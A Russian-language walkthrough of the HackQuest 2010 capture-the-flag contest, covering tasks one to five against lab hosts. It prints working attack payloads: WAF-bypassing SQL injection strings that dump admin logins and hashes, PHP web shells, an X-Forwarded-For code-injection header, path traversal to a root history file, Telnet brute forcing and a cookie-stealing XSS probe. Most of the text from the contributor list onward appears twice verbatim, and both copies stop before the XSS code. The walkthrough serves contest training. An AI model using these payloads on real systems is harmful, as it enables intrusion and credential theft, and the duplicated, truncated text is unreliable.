Журнал "Хакер" назвал HQ2010, как "САМЫЙ ЛУЧШИЙ... КВЕСТ!". Моя версия – "Самый долгоиграющий хак-квест" :), потому как проходил он в конце августа на фестивале Chaos Constructions 2010, а затем в урезанном формате был доступен в online-режиме в конце 2010 года на площадке портала SecurityLab. И только теперь, по прошествии более полугода, публикуется его прохождение.
Данная публикация была подготовлена при участии:
Сергея Рублева (Positive Technologies); http://ptresearch.blogspot.com/
Александра Матросова (ESET); http://amatrosov.blogspot.com/
Владимира d0znp Воронцова (ONsec.RU); http://oxod.ru/
Тараса oxdef Иващенко (Яндекс); http://blog.oxdef.info/
...и вашего покорного слуги.
Введение
HackQuest 2010 — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью: web hacking, social engineering, reverse engineering и т.п. Участникам предоставляется полная свобода выбора способов прохождения заданий. Для захвата одного "ключа" (флага) необходимо воспользоваться несколькими реальными уязвимостями в самых настоящих (продуктивных) системах. Таким образом, участники конкурса могут почувствовать себя настоящими взломщиками :)
По результатам проведенных соревнований было выяснено, что для большинства участников многие задания соревнований показались довольно сложными. Предлагаемый в данной публикации материал является полным руководством по прохождению большей части заданий, предложенных на HackQuest 2010.
Задание #1: Классика
Предварительное сканирование сети позволяет обнаружить веб-сайт турагенства "Хаос". В разделе поиска данного сайта по сообщению об ошибке, выдаваемому базой данных MySQL, можно найти уязвимость типа "Внедрение операторов SQL" (insert-based).
Стоит добавить, что сайт защищен mod_security со стандартными правилами. Уязвимый SQL-запрос имеет вид:
...
$query = "INSERT INTO indexes (text,source) value ('".$_GET['text']."',".$_GET['action'].")";
...
Таким образом, запрос для проведения атаки может выглядеть так:
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*), concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x +from+information_schema.tables+group+by+x)a)*/,0)--+
Приведенный выше запрос отобразит идентификатор пользователя, от имени которого веб-приложение взаимодействует с базой данных. Как это работает?
1. Используется конструкция /*!...sql-код...*/, которая позволяет выполнять "SQL-код" в обход стандартных правил всех версий mod_security (включая последние версии, см. http://devteev.blogspot.com/2009/10/sql-injection-waf.html).
2. Используется символ "+" (%2b) для работы со строками (подробнее см. https://rdot.org/forum/showthread.php?t=60).
3. Используется универсальный способ проброса полезной нагрузки в сообщении об ошибке (см. http://qwazar.ru/?p=7): select 1 from(select count(*),concat((select user()),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x)a
4. SQL-запрос приводится к синтаксически корректному виду путем добавления конструкции ",0)", а все лишнее обрезается с использованием двух символов тире. Для того чтобы удалось обрезать конец добавляемого SQL запроса, используется пробельный символ "+" (в HTTP GET-запросе этот символ является эквивалентом пробелу).
Развивая вектор атаки, требуется получить полезные данные из базы данных. Для MySQL 5.x это довольно просто сделать, т.к. в этой версии присутствует база information_schema, которая содержит всю необходимую информацию о структуре СУБД. Таким образом, атака с использованием уязвимости SQL Injection сводится к типовому набору запросов.
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*), concat((select+table_name+from+information_schema.tables+where+table_schema!= 'information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x +from+information_schema.tables+group+by+x)a)*/,0)--+
...
И на выходе – таблица "admins".
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from +information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x +from+information_schema.columns+group+by+x)a)*/,0)--+
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from+ information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x +from+information_schema.columns+group+by+x)a)*/,0)--+
И на выходе – имена колонок "login" и "password" в таблице "admins".
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login ,password) +from+admins+limit+0,1),0x3a,floor(rand(0)*2))x +from+admins+group+by+x)a)*/,0)--+
И на выходе – данные из таблицы "admins" (имя пользователя и MD5-хэш пароля).
После получения MD5-хэша, требуется восстановить пароль. Самый простой способ – воспользоваться бесплатными сервисами по восстановлению MD5-хэшей по "радужным таблицам" (например, http://www.xmd5.org).
Получив имя пользователя и пароль, самое время использовать их в каком-нибудь интерфейсе :) Обнаружить подходящий интерфейс можно в файле "robots.txt", расположенном в корневом каталоге веб-сервера. После получения доступа в админку возникает сообщение об ошибке, по которой легко определяется уязвимость класса Remote File Including (RFI). Эксплуатация подобных уязвимостей является довольно тривиальной задачей и сводится к тому, чтобы заставить атакуемое приложение запросить файл с сервера атакующего. Атакующий в этом сценарии подготавливает файл, содержащий код на языке PHP. Пример самого простого кода, позволяющего выполнять команды операционной системы: <?php passthru($_REQUEST['c']);?>
После получения возможности выполнения команд ОС требуется скопировать закрытый RSA-ключ одного из пользователей системы. Используя полученный RSA-ключ можно реализовать доступ к системе по протоколу SSH, а затем получить доступ к долгожданному "флагу".
Именно за последовательность SQLi->RFI->RSA задание и получило кодовое имя "Классика".
Задание #2: Не классика
На этапе исследования сети, аналогично предыдущему приложению, можно обнаружить некое веб-приложение, связанное с SMS-сервисами. Беглый анализ приложения позволяет обнаружить уязвимость типа "Внедрение операторов SQL" (selection-based) в базе данных PostgreSQL:
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=cast(version()+as+numeric)
Приведенный запрос выведет версию используемой базы данных в сообщении об ошибке. Это работает, т.к., во-первых, приложение возвращает сообщение об ошибке СУБД пользователю, а во-вторых, используется приведение строкового типа к числовому. Используя базу information_schema (эквивалентно MySQL 5.x), можно легко и быстро восстановить структуру СУБД.
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select(select+table_name+from+ information_schema.tables+limit+1+offset+0)::text::int--
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select(select+table_name+from+ information_schema.tables+limit+1+offset+105)::text::int--
На выходе – таблица "vsmsusers".
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select+(select+column_name+from+ information_schema.columns+where+table_name= chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115) +limit+1+offset+1)::text::int--
На выходе – имена колонок "login" и "password" в таблице "vsmsusers".
Следуя подсказке, что в системе зарегистрирован миллионный пользователь, которого ждет специальное вознаграждение, требуется получить доступ именно к его учетной записи (примечательно, что участники старательно не замечали эту подсказку и сливали всю таблицу пользователей или пытались создать этого "козырного" миллионного пользователя). Получив доступ в интерфейс "счастливчика", можно заметить новый интерфейс, в котором содержится уязвимость типа File Including (вернее Local File Including/LFI). Сложность эксплуатации уязвимости заключается в том, что происходит проверка длины поступающего запроса, и, если он не равен 16-ти символам, то он не попадает в функцию include(). Для выполнения команд ОС следует использовать самый короткий PHP веб-шелл (см. http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/):
http://172.16.0.4/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=ls
Как это работает?
1. Использование stream wrappers ("data" появился в PHP с версии 5.2.0)
2. short_open_tag и register_globals в состоянии "ON"
3. <?= ?> эквивалентно <? echo ?>;
4. Использование обратных кавычек эквивалентно использованию shell_exec()
Получив возможность выполнять команды на сервере, требуется получить список пользователей системы (/etc/passwd), а затем, используя любой инструментарий подбора пароля к сервису Telnet (например, THC-Hydra, Medusa, ncrack), нужно осуществить подбор используемых пользователями системы паролей. Метод перебора позволяет выявить пользователя, у которого установлен пароль, совпадающий с его идентификатором. Доступ по протоколу Telnet с привилегиями этого пользователя дает возможность получить содержимое очередного "флага".
Задание #3: Самописный веб-сервер
Довольно простую уязвимость можно отыскать на веб-сервере, который светил своей мордочкой задание с крякмисом. Это одно из самых простых заданий HackQuest 2010, в котором требуется обнаружить уязвимость типа "Выход за корневой каталог веб-сервера" (path traversal). Указанную уязвимость легко можно обнаружить автоматизированным путем с использованием соответствующих инструментов (поэтому очень настораживают конечные результаты online-соревнований http://www.securitylab.ru/hq2010/list.php). Для эксплуатации уязвимости требуется лишь отправить следующего вида запрос к веб-серверу: "GET /../../../root/.history HTTP/1.1". Получив содержимое истории вводимых администратором команд, можно легко получить очередной "флаг", используя "консольную магию".
Задание #4: Доска объявлений
В игровой сети располагается веб-приложение, которое эмулирует работу электронной доски объявлений. Получив доступ к исходному коду приложения (для этого нужно обратиться к index.bak), можно восстановить всю логику работы приложения, которая заключается в следующем: если пользователь пытается отправить более одного сообщения в течение одной минуты, то его IP-адрес добавляется в черный список (файл blacklist.php). Уязвимость заключается в том, что приложение проверяет переменную окружения веб-сервера HTTP_X_FORWARDED_FOR, и, если указанная переменная установлена, то вместо IP-адреса в черный список попадает содержимое заголовка браузера X-Forwarded-For без какой-либо проверки (идея была позаимствована у приложения CuteNews).
Эксплуатация уязвимости сводится к установке в качестве заголовка X-Forwarded-For что-то вроде этого: ';?><?eval($_GET['cmd']);?><?$a='. После получения возможности выполнения команд на сервере и прочтения истории команд, вводимых администратором, можно понять, где спрятан заветный "ключ".
Задание #5: Cross-Site Scripting
Когда речь заходит про атаки вида XSS (предполагается, что ты понимаешь, что эти три буквы значат ;), то многие вспоминают про обычные отражённые и хранимые XSS, и лишь иногда – ещё и про так называемые DOM-based XSS (см. http://www.owasp.org/index.php/DOM_Based_XSS). А ведь последние известны как минимум с 2005 года, когда были описаны в статье Амита Клейна (см. http://www.webappsec.org/projects/articles/071105.shtml). Если коротко, то данный тип XSS базируется на том, что входные данные веб-приложения принимаются и используются для модификации DOM на стороне веб-браузера в контексте JavaScript-языка. Сам HTTP-ответ веб-сервера таким образом никак не изменяется! Классический пример данной уязвимости приведён ниже:
Эксплуатация представляет собой передачу JavaScript-нагрузки в параметре default следующим образом:
http://www.some.site/page.html#default=<script>alert(document.cookie)</script>
Все было бы просто и легко, но современные веб-браузеры решили обезопасить пользователей, и параметры адреса передаются в JavaScript-контекст в URL-закодированном виде, добавляя проблем атакующему и делая эксплуатацию не такой тривиальной. К сожалению, такая защита не является достаточным средством, потому что вариантов использования параметров адреса довольно много, и они вовсе не ограничиваются приведённым выше примером. А с развитием веб-приложений (переносом всё большей части логики работы на сторону веб-браузера) этот вид Cross-Site Scripting ждёт перерождение. Но вернёмся к нашему заданию. Оно было воплощено в виде клона популярного сервиса микроблоггинга.
Открываем и изучаем HTML-код главной страницы. В самом конце замечаем уязвимый участок кода счётчика посещений:
Данная публикация была подготовлена при участии:
Сергея Рублева (Positive Technologies); http://ptresearch.blogspot.com/
Александра Матросова (ESET); http://amatrosov.blogspot.com/
Владимира d0znp Воронцова (ONsec.RU); http://oxod.ru/
Тараса oxdef Иващенко (Яндекс); http://blog.oxdef.info/
...и вашего покорного слуги.
Введение
HackQuest 2010 — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью: web hacking, social engineering, reverse engineering и т.п. Участникам предоставляется полная свобода выбора способов прохождения заданий. Для захвата одного "ключа" (флага) необходимо воспользоваться несколькими реальными уязвимостями в самых настоящих (продуктивных) системах. Таким образом, участники конкурса могут почувствовать себя настоящими взломщиками :)
По результатам проведенных соревнований было выяснено, что для большинства участников многие задания соревнований показались довольно сложными. Предлагаемый в данной публикации материал является полным руководством по прохождению большей части заданий, предложенных на HackQuest 2010.
Задание #1: Классика
Предварительное сканирование сети позволяет обнаружить веб-сайт турагенства "Хаос". В разделе поиска данного сайта по сообщению об ошибке, выдаваемому базой данных MySQL, можно найти уязвимость типа "Внедрение операторов SQL" (insert-based).
Стоит добавить, что сайт защищен mod_security со стандартными правилами. Уязвимый SQL-запрос имеет вид:
...
$query = "INSERT INTO indexes (text,source) value ('".$_GET['text']."',".$_GET['action'].")";
...
Таким образом, запрос для проведения атаки может выглядеть так:
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*), concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x +from+information_schema.tables+group+by+x)a)*/,0)--+
Приведенный выше запрос отобразит идентификатор пользователя, от имени которого веб-приложение взаимодействует с базой данных. Как это работает?
1. Используется конструкция /*!...sql-код...*/, которая позволяет выполнять "SQL-код" в обход стандартных правил всех версий mod_security (включая последние версии, см. http://devteev.blogspot.com/2009/10/sql-injection-waf.html).
2. Используется символ "+" (%2b) для работы со строками (подробнее см. https://rdot.org/forum/showthread.php?t=60).
3. Используется универсальный способ проброса полезной нагрузки в сообщении об ошибке (см. http://qwazar.ru/?p=7): select 1 from(select count(*),concat((select user()),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x)a
4. SQL-запрос приводится к синтаксически корректному виду путем добавления конструкции ",0)", а все лишнее обрезается с использованием двух символов тире. Для того чтобы удалось обрезать конец добавляемого SQL запроса, используется пробельный символ "+" (в HTTP GET-запросе этот символ является эквивалентом пробелу).
Развивая вектор атаки, требуется получить полезные данные из базы данных. Для MySQL 5.x это довольно просто сделать, т.к. в этой версии присутствует база information_schema, которая содержит всю необходимую информацию о структуре СУБД. Таким образом, атака с использованием уязвимости SQL Injection сводится к типовому набору запросов.
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*), concat((select+table_name+from+information_schema.tables+where+table_schema!= 'information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x +from+information_schema.tables+group+by+x)a)*/,0)--+
...
И на выходе – таблица "admins".
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from +information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x +from+information_schema.columns+group+by+x)a)*/,0)--+
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+column_name+from+ information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x +from+information_schema.columns+group+by+x)a)*/,0)--+
И на выходе – имена колонок "login" и "password" в таблице "admins".
http://172.16.0.2/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login ,password) +from+admins+limit+0,1),0x3a,floor(rand(0)*2))x +from+admins+group+by+x)a)*/,0)--+
И на выходе – данные из таблицы "admins" (имя пользователя и MD5-хэш пароля).
После получения MD5-хэша, требуется восстановить пароль. Самый простой способ – воспользоваться бесплатными сервисами по восстановлению MD5-хэшей по "радужным таблицам" (например, http://www.xmd5.org).
Получив имя пользователя и пароль, самое время использовать их в каком-нибудь интерфейсе :) Обнаружить подходящий интерфейс можно в файле "robots.txt", расположенном в корневом каталоге веб-сервера. После получения доступа в админку возникает сообщение об ошибке, по которой легко определяется уязвимость класса Remote File Including (RFI). Эксплуатация подобных уязвимостей является довольно тривиальной задачей и сводится к тому, чтобы заставить атакуемое приложение запросить файл с сервера атакующего. Атакующий в этом сценарии подготавливает файл, содержащий код на языке PHP. Пример самого простого кода, позволяющего выполнять команды операционной системы: <?php passthru($_REQUEST['c']);?>
После получения возможности выполнения команд ОС требуется скопировать закрытый RSA-ключ одного из пользователей системы. Используя полученный RSA-ключ можно реализовать доступ к системе по протоколу SSH, а затем получить доступ к долгожданному "флагу".
Именно за последовательность SQLi->RFI->RSA задание и получило кодовое имя "Классика".
Задание #2: Не классика
На этапе исследования сети, аналогично предыдущему приложению, можно обнаружить некое веб-приложение, связанное с SMS-сервисами. Беглый анализ приложения позволяет обнаружить уязвимость типа "Внедрение операторов SQL" (selection-based) в базе данных PostgreSQL:
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=cast(version()+as+numeric)
Приведенный запрос выведет версию используемой базы данных в сообщении об ошибке. Это работает, т.к., во-первых, приложение возвращает сообщение об ошибке СУБД пользователю, а во-вторых, используется приведение строкового типа к числовому. Используя базу information_schema (эквивалентно MySQL 5.x), можно легко и быстро восстановить структуру СУБД.
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select(select+table_name+from+ information_schema.tables+limit+1+offset+0)::text::int--
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select(select+table_name+from+ information_schema.tables+limit+1+offset+105)::text::int--
На выходе – таблица "vsmsusers".
http://172.16.0.4/index.php?r=recovery&name=1&email=1&status=1;select+(select+column_name+from+ information_schema.columns+where+table_name= chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115) +limit+1+offset+1)::text::int--
На выходе – имена колонок "login" и "password" в таблице "vsmsusers".
Следуя подсказке, что в системе зарегистрирован миллионный пользователь, которого ждет специальное вознаграждение, требуется получить доступ именно к его учетной записи (примечательно, что участники старательно не замечали эту подсказку и сливали всю таблицу пользователей или пытались создать этого "козырного" миллионного пользователя). Получив доступ в интерфейс "счастливчика", можно заметить новый интерфейс, в котором содержится уязвимость типа File Including (вернее Local File Including/LFI). Сложность эксплуатации уязвимости заключается в том, что происходит проверка длины поступающего запроса, и, если он не равен 16-ти символам, то он не попадает в функцию include(). Для выполнения команд ОС следует использовать самый короткий PHP веб-шелл (см. http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/):
http://172.16.0.4/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=ls
Как это работает?
1. Использование stream wrappers ("data" появился в PHP с версии 5.2.0)
2. short_open_tag и register_globals в состоянии "ON"
3. <?= ?> эквивалентно <? echo ?>;
4. Использование обратных кавычек эквивалентно использованию shell_exec()
Получив возможность выполнять команды на сервере, требуется получить список пользователей системы (/etc/passwd), а затем, используя любой инструментарий подбора пароля к сервису Telnet (например, THC-Hydra, Medusa, ncrack), нужно осуществить подбор используемых пользователями системы паролей. Метод перебора позволяет выявить пользователя, у которого установлен пароль, совпадающий с его идентификатором. Доступ по протоколу Telnet с привилегиями этого пользователя дает возможность получить содержимое очередного "флага".
Задание #3: Самописный веб-сервер
Довольно простую уязвимость можно отыскать на веб-сервере, который светил своей мордочкой задание с крякмисом. Это одно из самых простых заданий HackQuest 2010, в котором требуется обнаружить уязвимость типа "Выход за корневой каталог веб-сервера" (path traversal). Указанную уязвимость легко можно обнаружить автоматизированным путем с использованием соответствующих инструментов (поэтому очень настораживают конечные результаты online-соревнований http://www.securitylab.ru/hq2010/list.php). Для эксплуатации уязвимости требуется лишь отправить следующего вида запрос к веб-серверу: "GET /../../../root/.history HTTP/1.1". Получив содержимое истории вводимых администратором команд, можно легко получить очередной "флаг", используя "консольную магию".
Задание #4: Доска объявлений
В игровой сети располагается веб-приложение, которое эмулирует работу электронной доски объявлений. Получив доступ к исходному коду приложения (для этого нужно обратиться к index.bak), можно восстановить всю логику работы приложения, которая заключается в следующем: если пользователь пытается отправить более одного сообщения в течение одной минуты, то его IP-адрес добавляется в черный список (файл blacklist.php). Уязвимость заключается в том, что приложение проверяет переменную окружения веб-сервера HTTP_X_FORWARDED_FOR, и, если указанная переменная установлена, то вместо IP-адреса в черный список попадает содержимое заголовка браузера X-Forwarded-For без какой-либо проверки (идея была позаимствована у приложения CuteNews).
Эксплуатация уязвимости сводится к установке в качестве заголовка X-Forwarded-For что-то вроде этого: ';?><?eval($_GET['cmd']);?><?$a='. После получения возможности выполнения команд на сервере и прочтения истории команд, вводимых администратором, можно понять, где спрятан заветный "ключ".
Задание #5: Cross-Site Scripting
Когда речь заходит про атаки вида XSS (предполагается, что ты понимаешь, что эти три буквы значат ;), то многие вспоминают про обычные отражённые и хранимые XSS, и лишь иногда – ещё и про так называемые DOM-based XSS (см. http://www.owasp.org/index.php/DOM_Based_XSS). А ведь последние известны как минимум с 2005 года, когда были описаны в статье Амита Клейна (см. http://www.webappsec.org/projects/articles/071105.shtml). Если коротко, то данный тип XSS базируется на том, что входные данные веб-приложения принимаются и используются для модификации DOM на стороне веб-браузера в контексте JavaScript-языка. Сам HTTP-ответ веб-сервера таким образом никак не изменяется! Классический пример данной уязвимости приведён ниже:
Эксплуатация представляет собой передачу JavaScript-нагрузки в параметре default следующим образом:
http://www.some.site/page.html#default=<script>alert(document.cookie)</script>
Все было бы просто и легко, но современные веб-браузеры решили обезопасить пользователей, и параметры адреса передаются в JavaScript-контекст в URL-закодированном виде, добавляя проблем атакующему и делая эксплуатацию не такой тривиальной. К сожалению, такая защита не является достаточным средством, потому что вариантов использования параметров адреса довольно много, и они вовсе не ограничиваются приведённым выше примером. А с развитием веб-приложений (переносом всё большей части логики работы на сторону веб-браузера) этот вид Cross-Site Scripting ждёт перерождение. Но вернёмся к нашему заданию. Оно было воплощено в виде клона популярного сервиса микроблоггинга.
Открываем и изучаем HTML-код главной страницы. В самом конце замечаем уязвимый участок кода счётчика посещений: